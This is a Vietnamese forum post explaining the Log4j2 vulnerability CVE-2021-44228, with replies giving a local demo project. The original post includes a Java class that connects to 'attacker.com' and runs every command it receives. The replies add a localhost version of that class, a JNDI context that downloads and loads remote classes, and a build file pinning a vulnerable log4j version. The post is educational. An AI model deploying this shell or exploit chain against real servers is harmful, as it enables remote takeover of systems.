Avatar
2
monkey Enlightened
monkey Enlightened
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
chain of responsibility design patternAppenderlogger.info("Hello: {}", param)StrSubstitutor.resolveVariableInterpolator
.
Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này:
public class Log4jShell {
    static {
        try {
            Socket socket = new Socket("attacker.com", 1234);
            Scanner scanner = new Scanner(socket.getInputStream());
            while(true) {
                String command = scanner.nextLine();
                ProcessBuilder pb = new ProcessBuilder(command);
                pb.start();
            }
        } catch (Exception e) {}
    }
}
https://web_site_cua_chung_ta/hello?name=
, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm.
2.0 <= log4j-core <= 2.14.1
.
Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé.
https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks
  • Answer
security log4j-core
Remain: 5
3 Answers
Avatar
monkey Enlightened
monkey Enlightened
Demo không sử dụng qua LDAP:
package com.example.log4jshell;

import javax.naming.Context;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import com.tvd12.ezyhttp.core.boot.EzyHttpApplicationBootstrap;

public final class Log4jShellStartup {

    private static final Logger LOGGER = LogManager.getLogger(Log4jShellStartup.class);

    public static void main(String[] args) throws Exception {
        LOGGER.info("start Log4jShell");
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.example.log4jshell.AppContextFactory");
        System.setProperty(Context.PROVIDER_URL, "remote+http://localhost:8080");
        EzyHttpApplicationBootstrap.start(Log4jShellStartup.class);
    }
}
package com.example.log4jshell;

import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.spi.InitialContextFactory;

public class AppContextFactory implements InitialContextFactory {

    private final AppInitialContext context = new AppInitialContext();

    public AppContextFactory() throws NamingException {}

    @Override
    public Context getInitialContext(Hashtable environment) throws NamingException {
        return context;
    }
}
package com.example.log4jshell;

import java.io.File;
import java.util.Hashtable;

import javax.naming.NamingException;
import javax.naming.ldap.InitialLdapContext;

import com.tvd12.ezyhttp.client.HttpClient;

public class AppInitialContext extends InitialLdapContext {

    private final HttpClient httpClient;

    public AppInitialContext() throws NamingException {
        httpClient = HttpClient.builder().build();
    }
    @Override
    protected void init(Hashtable environment) throws NamingException { }

    @Override
    public Object lookup(String name) throws NamingException {
        try {
            httpClient.download(name, new File("target/classes"));
            Thread.sleep(300);
            Class clazz = Class.forName("Log4jShell");
            return clazz.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}
package com.example.log4jshell.controller;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import com.tvd12.ezyhttp.server.core.annotation.Controller;
import com.tvd12.ezyhttp.server.core.annotation.DoGet;
import com.tvd12.ezyhttp.server.core.annotation.RequestParam;

@Controller
public class HomeController {

    private final Logger logger = LogManager.getLogger(getClass());

    @DoGet("/hello")
    public String hello(@RequestParam String name) {
        logger.info("Hello: {}", name);
        return "Hello " + name;
    }
}
  • 0
  • Reply
Avatar
monkey Enlightened
monkey Enlightened
Demo không sử dụng qua LDAP (tiếp):
import java.net.Socket;
import java.util.Scanner;

public class Log4jShell {
    static {
        try {
            System.out.println("Shell started");
            Socket socket = new Socket("localhost", 3006);
            Scanner scanner = new Scanner(socket.getInputStream());
            while(true) {
                String command = scanner.nextLine();
                ProcessBuilder pb = new ProcessBuilder(command);
                pb.start();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
javac Log4jShell.javaLog4jShell.class
  • 0
  • Reply
Avatar
monkey Enlightened
monkey Enlightened
Demo không sử dụng qua LDAP (tiếp):
Cấu trúc thư mục dự án sẽ kiểu:
<img src="https://stackask.com/wp-content/uploads/2021/12/Screen-Shot-2021-12-14-at-5.32.10-PM.png" alt="" class="alignnone size-full wp-image-3746" />
application.properties
:
resources.enable=true
log4j2.xml
:
<span><span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?&gt;</span></span>
<span>&lt;<span>Configuration</span> <span>status</span>=<span>"INFO"</span>&gt;</span>
  <span>&lt;<span>Appenders</span>&gt;</span>
    <span>&lt;<span>Console</span> <span>name</span>=<span>"LogToConsole"</span> <span>target</span>=<span>"SYSTEM_OUT"</span>&gt;</span>
      <span>&lt;<span>PatternLayout</span> <span>pattern</span>=<span>"%d</span></span></span><span>{HH:mm:ss.SSS}</span><span><span><span> [%t] %-5level %logger</span></span></span><span>{36}</span><span><span><span> - %msg%n"</span>/&gt;</span>
    <span>&lt;/<span>Console</span>&gt;</span>
  <span>&lt;/<span>Appenders</span>&gt;</span>
  <span>&lt;<span>Loggers</span>&gt;</span>
    <span>&lt;<span>Logger</span> <span>name</span>=<span>"com.example"</span> <span>level</span>=<span>"debug"</span> <span>additivity</span>=<span>"false"</span>&gt;</span>
      <span>&lt;<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/&gt;</span>
    <span>&lt;/<span>Logger</span>&gt;</span>
    <span>&lt;<span>Root</span> <span>level</span>=<span>"info"</span>&gt;</span>
      <span>&lt;<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/&gt;</span>
    <span>&lt;/<span>Root</span>&gt;</span>
  <span>&lt;/<span>Loggers</span>&gt;</span>
<span>&lt;/<span>Configuration</span>&gt;</span></span>
pom.xml
<span><span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?&gt;</span></span>
<span>&lt;<span>project</span> <span>xmlns</span>=<span>"http://maven.apache.org/POM/4.0.0"</span>
         <span>xmlns:xsi</span>=<span>"http://www.w3.org/2001/XMLSchema-instance"</span>
         <span>xsi:schemaLocation</span>=<span>"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>&gt;</span>
  <span>&lt;<span>parent</span>&gt;</span>
    <span>&lt;<span>groupId</span>&gt;</span>com.tvd12<span>&lt;/<span>groupId</span>&gt;</span>
    <span>&lt;<span>artifactId</span>&gt;</span>ezyfox<span>&lt;/<span>artifactId</span>&gt;</span>
    <span>&lt;<span>version</span>&gt;</span>1.0.2<span>&lt;/<span>version</span>&gt;</span>
  <span>&lt;/<span>parent</span>&gt;</span>
  <span>&lt;<span>modelVersion</span>&gt;</span>4.0.0<span>&lt;/<span>modelVersion</span>&gt;</span>
  <span>&lt;<span>artifactId</span>&gt;</span>log4jshell<span>&lt;/<span>artifactId</span>&gt;</span>

  <span>&lt;<span>properties</span>&gt;</span>
    <span>&lt;<span>log4j2.version</span>&gt;</span>2.11.2<span>&lt;/<span>log4j2.version</span>&gt;</span>
    <span>&lt;<span>ezy.http.version</span>&gt;</span>0.2.0<span>&lt;/<span>ezy.http.version</span>&gt;</span>
  <span>&lt;/<span>properties</span>&gt;</span>

  <span>&lt;<span>dependencies</span>&gt;</span>
    <span>&lt;<span>dependency</span>&gt;</span>
      <span>&lt;<span>groupId</span>&gt;</span>com.tvd12<span>&lt;/<span>groupId</span>&gt;</span>
      <span>&lt;<span>artifactId</span>&gt;</span>ezyhttp-server-boot<span>&lt;/<span>artifactId</span>&gt;</span>
      <span>&lt;<span>version</span>&gt;</span>$</span><span>{ezy.http.version}</span><span><span>&lt;/<span>version</span>&gt;</span>
    <span>&lt;/<span>dependency</span>&gt;</span>
    <span>&lt;<span>dependency</span>&gt;</span>
      <span>&lt;<span>groupId</span>&gt;</span>com.tvd12<span>&lt;/<span>groupId</span>&gt;</span>
      <span>&lt;<span>artifactId</span>&gt;</span>ezyhttp-client<span>&lt;/<span>artifactId</span>&gt;</span>
      <span>&lt;<span>version</span>&gt;</span>$</span><span>{ezy.http.version}</span><span><span>&lt;/<span>version</span>&gt;</span>
    <span>&lt;/<span>dependency</span>&gt;</span>
    <span>&lt;<span>dependency</span>&gt;</span>
      <span>&lt;<span>groupId</span>&gt;</span>org.apache.logging.log4j<span>&lt;/<span>groupId</span>&gt;</span>
      <span>&lt;<span>artifactId</span>&gt;</span>log4j-api<span>&lt;/<span>artifactId</span>&gt;</span>
      <span>&lt;<span>version</span>&gt;</span>$</span><span>{log4j2.version}</span><span><span>&lt;/<span>version</span>&gt;</span>
    <span>&lt;/<span>dependency</span>&gt;</span>
    <span>&lt;<span>dependency</span>&gt;</span>
      <span>&lt;<span>groupId</span>&gt;</span>org.apache.logging.log4j<span>&lt;/<span>groupId</span>&gt;</span>
      <span>&lt;<span>artifactId</span>&gt;</span>log4j-core<span>&lt;/<span>artifactId</span>&gt;</span>
      <span>&lt;<span>version</span>&gt;</span>$</span><span>{log4j2.version}</span><span><span>&lt;/<span>version</span>&gt;</span>
    <span>&lt;/<span>dependency</span>&gt;</span>
  <span>&lt;/<span>dependencies</span>&gt;</span>
<span>&lt;/<span>project</span>&gt;</span></span>
  • 0
  • Reply